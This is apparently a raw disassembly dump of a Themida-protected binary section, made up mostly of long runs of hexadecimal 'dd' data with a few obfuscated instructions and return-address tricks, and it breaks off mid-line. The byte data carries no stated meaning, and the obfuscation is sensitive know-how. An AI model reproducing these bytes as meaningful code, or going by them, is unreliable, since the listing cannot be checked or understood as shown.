0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0F5C35343h, 0BD8B98E8h, 610076Dh dd 6A00C183h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 58B3C355h, 0BB279621h, 0D93BEFBBh dd 102860Fh, 0B52B0000h, 6101BC1h, 6AD98C66h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 4AB2C352h, 9589CD50h, 6101A91h, 0F04C1F6h, 0A884h, 8D296000h dd 6101A5Dh, 0C995FF61h, 5B06100Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 0BAC35343h, 0BE0E66D5h, 27A5546h dd 6AC32Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 0F2D0E0C3h, 9E8F2B5h, 1E000000h, 352F2BA3h dd 7E9DE03Bh, 81BD8960h, 8B06102Ah, 100125B5h, 3D5E6106h dd 834h, 2B860Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 555361C3h, 29E9BFF4h dd 29000000h, 102F718Dh, 6AC08B06h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0F2C9C351h dd 3FD16C54h, 0D88BC38Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 92C35646h, 723DBB51h, 0C7F219F1h, 100BA585h dd 318BF106h, 57006A5Bh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 56F98B4Fh, 619D8960h, 89061023h dd 1016C18Dh, 8B5F6106h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 0E0D719BCh, 55BD81h, 7D00610h dd 850F0000h, 48h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 0A2C35545h, 0B021EA1Bh, 0AE831h, 0CCC80000h dd 52488483h, 0A8ABB0DBh, 6ED8D781h, 2B5E3560h, 101EE9B5h dd 5585FF06h, 0BE061000h, 25C58FA4h, 55B5FFh, 81660610h dd 0FF1430EFh, 1031C995h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 35453BF8h dd 2F20D759h, 6FE082BFh, 6A9057h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 2E3D3FC3h, 0E8292E83h dd 7E95Ch, 1EF30000h, 63B314B0h, 0CE991h, 0D79C0000h, 3D91358Dh dd 74048140h, 6A853Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 0C4DD67C3h, 8D096015h, 6102995h dd 2F39BD01h, 8B610610h, 0D6B460F9h, 0DB58960h, 0E9061028h dd 0Ch, 0D586D9E0h, 0DEF1F1DAh, 0D8849313h, 11DD8D8Bh dd 81610610h, 4534DBDFh, 6A610Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 97BC23C3h, 298D8904h dd 66061019h, 0E85B70BEh, 0Dh, 0E3B63133h, 9EEA1618h, 0D9AAA83Fh dd 9D952948h, 89061007h, 101659BDh, 6A5E06h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8E9E3C3h dd 71000000h, 6DDC97Eh, 8B46E8E3h, 13E9FAh, 43F20000h dd 7E27A3FAh, 2E300A7h, 0E5054333h, 0BD7C795Dh, 1D9589EFh dd 0E9061028h, 0FFFFF779h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 0A2C35545h, 26E484CFh, 40AA2950h, 81BD2974h dd 8B06101Eh, 57006AC1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 2816D6C6h, 4296C2F9h, 10E88Fh, 5D100000h dd 0D1524EF6h, 779CD725h, 50452C70h, 0DE8168FEh, 3996A8EAh dd 4EB5Fh, 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 18AFC352h, 5F507142h, 1F1D9D89h dd 858D0610h, 61013B9h, 7E8h, 0EF60C600h, 2A680066h, 11E8h dd 8B6A4A00h, 0F6C4A889h, 0E8465B27h, 0C5FEF7B3h, 0B589678Ch dd 6100925h, 13E95F5Fh, 43000000h, 5C881676h, 5C2F9C2Fh dd 903DE104h, 0EB6C86EEh, 6690F4BDh, 5050FB8Bh, 0AE852h dd 4DC40000h, 0C232C59Ch, 0E85B8161h, 0E3F827BEh, 310F5F79h dd 6A90585Ah, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 2986C353h, 227DBD01h, 6A0610h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 3EC35242h dd 168D3EF5h, 6585B015h, 81BD8B2Ch, 6A06102Eh, 0F1D4BE00h dd 858D756Ah, 61427DAh, 31744CBFh, 5C08327h, 840F5090h dd 3, 90FA8B66h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 39C35242h, 6A2AFC8Fh, 5EF55600h, 0E681006Ah, 8AB0715h dd 2A8DBD09h, 95FF0610h, 6101D19h, 1B75B529h, 9D8D0610h dd 613AFD8h, 12658531h, 0D3FF0610h, 0B70F5653h, 0FF5E5FF8h dd 10141985h, 813E906h, 0E80000h, 5D000000h, 27E4ED81h dd 0B70F0614h, 0B19531FEh, 81061001h, 100055BDh, 7D006h dd 2B860F00h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 4773C356h, 0CB53AF02h dd 0D90C0939h, 0F9DE8166h, 7D9D8B94h, 29061029h, 101B1D8Dh dd 0E38106h, 66000001h, 0DB0BFB8Bh, 9D850Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0BD8BFDC3h, 6102815h, 83FB8B66h, 14267CBDh, 840F0006h dd 38h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh dd 67C35545h, 0C9EEBDF5h, 0E98F8CEDh, 51h, 0BE9h, 85562400h dd 3886B28Bh, 0EEF56EEFh, 267C85C7h, 10614h, 0B58B0000h dd 6101481h, 2CE9h, 9D896000h, 610309Dh, 11E9h, 2018FD00h dd 0B6D40AA6h, 324B2D08h, 65116F18h, 0C7618330h, 14267C85h dd 6, 70BF6600h, 7D9D8DEEh, 81061029h, 0CB7286DFh, 0FF238145h dd 6AFFFFFEh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 0F142C353h, 8D34AD49h, 0F7D4724h dd 8C66F9BFh, 55006ADBh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 51D5F790h, 157C1134h, 0B260521Eh dd 61E18ABEh, 0FDBD8B5Fh, 0F606102Ah, 840F04C3h, 72h, 0DC995FFh dd 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 2EBAFCC3h, 880E05C2h, 8D8960A4h, 6100B8Dh dd 6D56EF81h, 90610135h, 5350F78Bh, 6A905Eh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0E96030C3h dd 0Fh, 0F22DF9DDh, 249CB630h, 0A84B5B4h, 0B310B0DAh, 0DE9610Fh dd 6A000004h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 1E95C350h, 0B5059322h, 0F0F9966Bh dd 108D8529h, 0B00610h, 5359D01h, 70E60610h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0EAC35242h, 82BF9946h dd 2B34F3F2h, 10087DB5h, 5271E406h, 1695BD8Bh, 665F0610h dd 0F71F3BFh, 6AD8B6h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 7DF31C3h, 0F3969E9h, 6BAh, 0E9C38B00h dd 9, 541B94D6h, 298F0C97h, 4E8C17Fh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 0DEC35343h, 0FDB58BA1h, 0F061001h dd 38Dh, 0F0B70F00h, 6AE2F766h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 9719C350h, 11DDA27Bh dd 8964126Bh, 10142D8Dh, 6AD82B06h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 41FAC352h dd 19878115h, 3BE8838h, 5069DCD4h, 11E9h, 9310C100h, 4074A9F3h dd 0E4351E5Eh, 0EA385BF1h, 1C890AA0h, 52006A24h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 209A1BB2h, 66B151C8h, 4D5FEF81h, 0FFFFB70Fh, 100055B5h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 87073DAh, 850F89D7h, 1, 0C995FFF9h, 6A061031h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 9188C355h, 0B5332F1Ah, 6100805h, 1FF1BD89h dd 0B00610h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 9C35545h, 99CB7383h, 11E9h, 378A7200h, 93EB3A99h dd 0DDD2343Ch, 0C0A36D01h, 70E62039h, 0A122BE66h, 6A71E4h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0BF804AC3h, 0F90882E8h, 613C4AE2h, 1D2830Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 0E97BB4C3h, 3C2D0B45h, 66D8B60Fh, 0C45DF81h, 6BAh, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0D9792071h, 0F69B58Bh, 0C38B0610h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0D0C35242h, 0AEB82D8Fh, 54BE6607h dd 4E8C101h, 29B9B58Bh, 0F7660610h, 5CBF66E2h, 59BD0B94h dd 2B061021h, 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0D4807909h, 0EFFDCD74h, 9D95895Dh dd 58061008h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 1C35040h, 2BEAD191h, 0ED880FD8h, 8B000000h, 1011DDBDh dd 7B906h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 0AE88C8C3h, 0AC8F6917h, 0CE9A5h dd 0CB490000h, 0F12DFE8Fh, 7ED09C22h, 5BBF061Ah, 8355A657h dd 8B6600C1h, 0FD93BF8h, 9B86h, 21B58B00h, 6606101Eh, 0CE9D98Ch dd 59000000h, 0BE7A2DB1h, 0EC2CA9FBh, 0F62D593Bh, 840F04C1h dd 55h, 7A64BF66h, 95FF5F52h, 6100DC9h, 3DECBE66h, 0F781665Bh dd 81667B1Ah, 2BED8FD7h, 50006AC3h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0E72A8FB7h, 4F0CD715h dd 8343Dh, 0A860F00h, 0E9000000h, 28h, 0F1B70F57h, 6AC08B5Eh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 66A8C353h, 3E86F681h, 0D88BC38Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 36C35343h, 20169E43h dd 85C74974h, 6100041h, 521E0B13h, 0EDD8509h, 8D0F0610h dd 6, 8952CE81h, 0C08B781Ch, 6840Fh, 85010000h, 6101395h dd 55BD81h, 7D00610h, 850F0000h, 2Ah, 5585FFh, 6A0610h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 7C2C59C3h, 3ECDC766h, 0B5FFD995h, 6100055h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 89C35040h, 5C556B62h dd 0C995FF6Ah, 89061031h, 1029E995h, 8B669006h, 58BE66F3h dd 5D8D8925h, 8B061013h, 101E71BDh, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0E96ED1ADh dd 0Ch, 8F330EBEh, 0FAEC5DD6h, 28C1A416h, 6AFB8Bh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0A6F984C3h, 0DB640941h, 81664AD2h, 946BEEEh, 10117595h dd 0FEBF0F06h, 1715B531h, 8E0F0610h, 9, 2D219D89h, 8B660610h dd 5860FFBh, 0BF000000h, 79151FB9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 0FAC35747h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 16h, 64C35141h, 6060B220h dd 0B2EA8166h, 0F18D8BC4h, 5706100Bh, 0EDB86659h, 880F61CEh dd 3, 8ACEB70Fh, 9D8961F1h, 6101BD5h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 89C35747h, 2B551838h, 395BE0C9h dd 0DE9F9h, 0BF610000h, 8DC2E6C3h, 940550F2h, 8961BE40h dd 101D518Dh, 0F7F8E906h, 7BFFFFFh, 8B213245h, 10126DB5h dd 6A6006h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 973AFDC3h, 38C3B962h, 16C1B531h, 0FEB90610h dd 6AFFFFFFh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 333C353h, 86EAEE2Ch, 0DE8120h dd 2139EBD8h, 1005298Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 87DFB1FBh, 818D21D7h dd 6A061023h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 68F4C356h, 54DD37AEh, 0BB2F44A1h dd 752DA2DEh, 1E718589h, 8D8B0610h, 6100529h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0F1C35343h, 2F1FCF63h dd 8B506959h, 101DA985h, 0E1835B06h, 41850F01h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0C7DAC352h, 0BC2554F1h, 1606931h, 101DFD9Dh dd 11E906h, 0F7170000h, 52BB6052h, 0CD20453Ch, 3EDEC2F1h dd 61C71EA0h, 23818D8Bh, 6A0610h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 0E183CBC3h, 27850F01h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 0F051C352h, 0C50CD5A8h, 29BBF081h dd 60617F95h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 0E6C35646h, 8F0F658Bh, 0 ; --------------------------------------------------------------------------- mov ecx, 0FFFFFFFEh jmp loc_58E60F ; --------------------------------------------------------------------------- mov esi, 743F1A81h loc_58E60F: ; CODE XREF: Themida_:0058E605j mov [ebp+61010E1h], esi and [ebp+6102801h], ecx jmp loc_58E62B ; --------------------------------------------------------------------------- pop esi adc al, 71h cmp [edi-48h], eax push 0D0A33DF2h loc_58E62B: ; CODE XREF: Themida_:0058E61Bj and [ebp+6102AB1h], ecx push 0 push ebp call sub_58E63C and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58E63C proc near ; CODE XREF: Themida_:0058E634p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_58E63C endp ; --------------------------------------------------------------------------- dd 93AEEC11h, 21BD8971h, 8B06102Ah, 1028018Dh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 61958B17h, 8306101Ch, 850F01E1h, 2Ah, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 18h, 5EC35747h, 0B738FEA0h dd 860FFA8Ah, 2, 8D8BFE8Bh, 6102AB1h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 56C35242h, 0DA96EADEh, 79B58B74h dd 83061021h, 850F01E1h, 24h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 0AFC35343h, 11A1B589h, 0C38B0610h dd 0FEB96061h, 6AFFFFFFh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 369BC357h, 7D8D2196h dd 0E9061029h, 0Eh, 0B619FD3Fh, 78C72B3Bh, 63606A91h, 8D21B66Ch dd 6102875h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 26C35646h, 9EEA81D3h, 8B16731Eh, 10297D8Dh, 6E906h dd 997E0000h, 3B49B763h, 0F01E183h, 2485h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 890F2C2Ch, 1, 758D8BF8h, 6A061028h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0FAE2C352h dd 8B67172Ch, 10E18D89h, 0E1830610h, 1F850F01h, 57000000h dd 178A0Fh, 11E80000h, 0A7000000h, 0FD0EA0CEh, 902B5612h dd 48D0B60Ch, 882EA02Eh, 60615A5Ah, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 0ABC35141h, 8E9666EDh, 0B9F3D589h dd 0FFFFFFFEh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 0B2C35040h, 19A4EEDEh, 89E6C86Fh, 0A58D21FDh, 6A06100Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 969DC357h, 0CC3466ABh, 21208ECFh, 1000418Dh dd 0A58D8B06h, 8306100Bh, 850F01E1h, 0Ch, 1915B533h, 0B5090610h dd 610161Dh, 418D8Bh, 6A0610h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 6A2910C3h, 0E183FC68h dd 2850F01h, 0B4000000h, 6A60618Bh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0CEF2C357h dd 8E96A45h, 2D000000h, 0AD730D34h, 8B073306h, 10191D8Dh dd 5585C706h, 0D0061000h, 6A000007h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 237C356h dd 55AA2C3Fh, 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 4A0078F0h, 0E69B8086h, 0B70FD7AAh dd 6107EBF0h, 0E99Dh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 16C279C3h, 22D0307Ch dd 6ACAAE05h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 7FD5C355h, 9D89573Eh, 61021B1h dd 68D0Fh, 0B5310000h, 610284Dh, 6060C18Bh, 0C6816653h dd 0F5EA0AEh, 488h, 0FBBB6600h, 0C08B6137h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 60C35343h, 11E8DAh dd 0C2E0000h, 0CBC00574h, 151E3E94h, 9C04E968h, 0FBD55D2h dd 185h, 835EF800h, 10158DBDh, 9750006h, 95BD83h, 74000610h dd 8B535019h, 438B8C0h, 85890000h, 6100E65h, 0B8159D8Dh dd 0D3FF0612h, 0BD83585Bh, 6100095h, 50177400h, 438B853h dd 85890000h, 6100E65h, 0B5049D8Dh, 0D3FF0612h, 6A585Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 5FECD0C3h, 4BB3DC9Ah, 0E952A808h, 0Ah, 6AD23B0Fh, 0B20417A3h dd 6A5EF3B9h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 0E93BC357h, 0F9EA2305h, 8BF2861Ch dd 81BD89C0h, 0E806102Fh, 844h, 89CBBF0Fh, 10282185h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0B491BAA1h, 0CF8166E0h, 66601971h, 0B953C38Bh, 0E6ED47Fh dd 5E86159h, 89000008h, 102ED995h, 8589FC06h, 61030C5h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0ADC35646h dd 0F180BFD5h, 7D2E8BFh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 295E25C3h, 2DD16AB8h dd 8589531Ah, 6101211h, 13E8h, 0A859F00h, 0F64B81F1h, 6129093Ch dd 44A0E49Eh, 89E25E7Ch, 29618D89h, 8B590610h, 782E8F1h dd 870F0000h, 17h, 9E860h, 0D6E40000h, 54A4914h, 587E11C6h dd 86D958Bh, 89610610h, 1011ED85h, 0E8CB8A06h, 758h, 1EC58D8Bh dd 85890610h, 6100BB9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 0FDC35747h, 0B962973Ah, 6A0238C3h, 723E8h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 25B537F6h, 0B70EC33h, 2D8589AEh, 6A061023h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0D28FC356h, 57095296h, 0D1E80642h, 6A000006h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 8B33C352h, 1012E58Dh, 0CD858906h, 3061000h dd 100D9DB5h, 69EE806h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 0D14238C3h, 65F51FB5h dd 89D67D9Ch, 1004E985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 1FC84E4Ch, 0EDF0BCAEh dd 64BE8h, 0F0BF0F00h, 1D898589h, 6A0610h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 77E055C3h dd 6ED1ADD4h, 0CABF0F07h, 617E8h, 8589F500h, 6102ED5h dd 1C618D33h, 0B70F0610h, 602E8CBh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0E96D91C3h dd 14h, 6DAB73E3h, 0BF54C3B5h, 0AD58DF9Ch, 181CEB4Dh, 0AEF3A229h dd 8589CF8Bh, 6101F51h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 0F3C35141h, 0E98147BCh, 7F3CB052h, 59BE8h dd 89CF8B00h, 10060595h, 25858906h, 6A06101Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 9A7DC351h, 564207F2h, 0D59589DBh, 0E806102Ah, 560h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 4C35141h dd 150533ECh, 8533606Dh, 610136Dh, 89610FB1h, 100EA585h dd 29E8FC06h, 6A000005h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 807DC352h, 0BE50FC28h dd 2CD4285Dh, 0A185895Fh, 0F061008h, 0F5E8F9BFh, 6A000004h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 8A7AC350h, 3A6CC78Fh, 8D8BE440h, 6101D05h dd 8658589h, 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 8D17A2C3h, 805A4BF5h, 9DE801C1h dd 6A000004h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 0FD53C355h, 8962C745h, 0CD1A7F11h dd 81666060h, 8B4785CAh, 100CA9B5h, 0B58B6106h, 6102109h dd 5820F61h, 0B9000000h, 43DA9E39h, 4A58589h, 8D010610h dd 6103035h, 6A00B0h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 28A8CDC3h, 0D810FABh, 60000000h dd 0E7C819B9h, 0D98D8B67h, 6106101Fh, 0D8B60FFCh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0B6C35545h, 326E97Ah dd 950957B1h, 6100A55h, 6BAh, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0E3278E4Ch dd 8BF8FB9Bh, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 10E94Eh, 70700000h, 4FE7344Fh, 1CA4C3C5h dd 199EFC43h, 0E8C19991h, 0BE804h, 62590000h, 727DE0DBh dd 452EC731h, 11E88Ah, 41710000h, 8320DBA2h, 0BAE34B8h dd 0F078C05Ch, 596B4509h, 0E2F76659h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 75C35545h, 6890Fh, 0BD8B0000h dd 6101B71h, 1DCE8166h, 58A0FF6h, 66000000h, 0C9D8E981h dd 0BF0FD82Bh, 506050CEh, 0F5CB452h, 4FBA6631h, 60585A77h dd 0DE9h, 0B6A15600h, 83D55993h, 6FD9AB5Fh, 61613C08h dd 81241C89h, 54C177E6h, 0C995FF63h, 8906100Dh, 10303595h dd 6E95B06h, 0E4000000h, 3E41353Dh, 0B5958D21h, 6A061016h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 12C350h, 5DB22064h, 7281E650h, 8E9h, 0B97C9500h dd 861363D5h, 6A1A89FFh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 0FBF6C355h, 62BD21A1h dd 2B249A97h, 102FE18Dh, 4428906h, 68B0Fh, 8D8B0000h, 6101101h dd 20A1958Dh, 1A890610h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 4C35040h, 8E80E7Dh, 5B000000h, 0B58ECAD2h dd 0FE575A6h, 8B59FFB7h, 101AC5B5h, 4428906h, 22858D8Bh dd 958D0610h, 6102D89h, 0BE9h, 0F1C57500h, 8C385D4Ah, 0D8E3F668h dd 0BE661A89h, 428902B1h, 56006A04h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 8B669125h dd 5958DF0h, 52061001h, 20E1B58Bh, 895E0610h, 56006A1Ah dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0A3D09778h, 0A17E19B5h, 6A044289h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 1A4BC350h dd 2E018D89h, 958D0610h, 61010B5h, 0E35BD89h, 1A890610h dd 2DC5BD8Bh, 42890610h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 14E9D252h, 5E000000h dd 824AB473h, 9E79EA2h, 0AE23992h, 29F53BC8h, 8DE95485h dd 10098995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 0E9902775h, 9, 0C1043C83h, 0E523CE08h dd 6A1A89ABh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 0B78EC350h, 0BABF668Ah, 44289BEh dd 13E9FCh, 583F0000h, 7F98808Dh, 3AE8C79Bh, 0FAB6A6D4h dd 0ED3571D8h, 49958D40h, 6A06102Dh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 727DC351h dd 452EC731h, 31E6C08Ah, 1028458Dh, 6A1A8906h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 2DDBC355h, 0C6E4244Ch, 0B58BB112h, 6102825h, 66044289h dd 5BD3F781h, 69958Dh, 8E90610h, 9C000000h, 6CC9DF93h dd 89FCF4F4h, 56006A1Ah, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 6D8621A8h, 735DE762h, 1DD180FDh dd 8B044289h, 1007298Dh, 11DE906h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0B65D50C3h dd 0E52F9B27h, 0FB8B693Fh, 6A006Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0BD8B01C3h dd 6100661h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 66194DC3h, 8146DE1Ah, 0A0DD3EC1h dd 6A006A25h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 3EEFC352h, 0FD055C7h, 0BD23C8BFh dd 61000E9h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 112B5DC3h, 6A935929h, 0CFBF0F3Ah dd 2EC995FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 53277EC3h, 53B5FD83h, 0C3F494A9h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 75C35040h dd 0BD8B6046h, 6101D21h, 595BD29h, 8A610610h, 53006AC5h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0F781E5F1h, 66256F0Ch, 3BFFF181h, 6E860h, 5FB50000h dd 0B4BCD2EDh, 6D01E281h, 0F5E4349h, 68Eh, 81BD8B00h, 61061021h dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 0AFACB9C3h, 8DBD835Dh, 61015h, 0BD830975h dd 6100095h, 50197400h, 0B8C08B53h, 438h, 132D8589h, 9D8D0610h dd 